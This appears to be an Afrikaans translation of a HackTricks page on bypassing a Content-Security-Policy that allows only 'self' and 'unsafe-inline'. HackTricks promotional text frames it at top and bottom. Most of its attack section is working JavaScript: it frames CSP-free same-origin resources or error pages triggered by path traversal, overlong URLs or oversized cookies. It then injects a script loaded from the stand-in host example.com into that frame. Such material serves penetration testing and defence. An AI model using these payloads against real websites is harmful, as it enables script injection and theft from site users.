4.6 KiB
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.
'n Konfigurasie soos:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Probeer om enige funksies wat kode uitvoer as 'n string verbied. Byvoorbeeld: eval, setTimeout, setInterval
sal almal geblokkeer word as gevolg van die instelling unsafe-eval
.
Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en veral JS.
Via Tekste & Beelde
Dit is waargeneem dat moderne webblaaier beelde en tekste omskakel na HTML om hul vertoning te verbeter (bv. agtergronde instel, sentrering, ens.). Gevolglik, as 'n beeld of tekslêer, soos favicon.ico
of robots.txt
, geopen word deur middel van 'n iframe
, word dit as HTML weergegee. Dit is belangrik om op te let dat hierdie bladsye dikwels nie CSP-koppe bevat nie en moontlik nie X-Frame-Options insluit nie, wat die uitvoering van willekeurige JavaScript vanaf hulle moontlik maak:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Via Foute
Op dieselfde manier, foutboodskappe soos tekslêers of beelde, kom gewoonlik sonder CSP-koppe en kan X-Frame-Options weglaat. Foute kan geïnduseer word om binne 'n iframe te laai, wat die volgende aksies moontlik maak:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Na die aktivering van enige van die genoemde scenario's, is JavaScript-uitvoering binne die iframe moontlik as volg:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.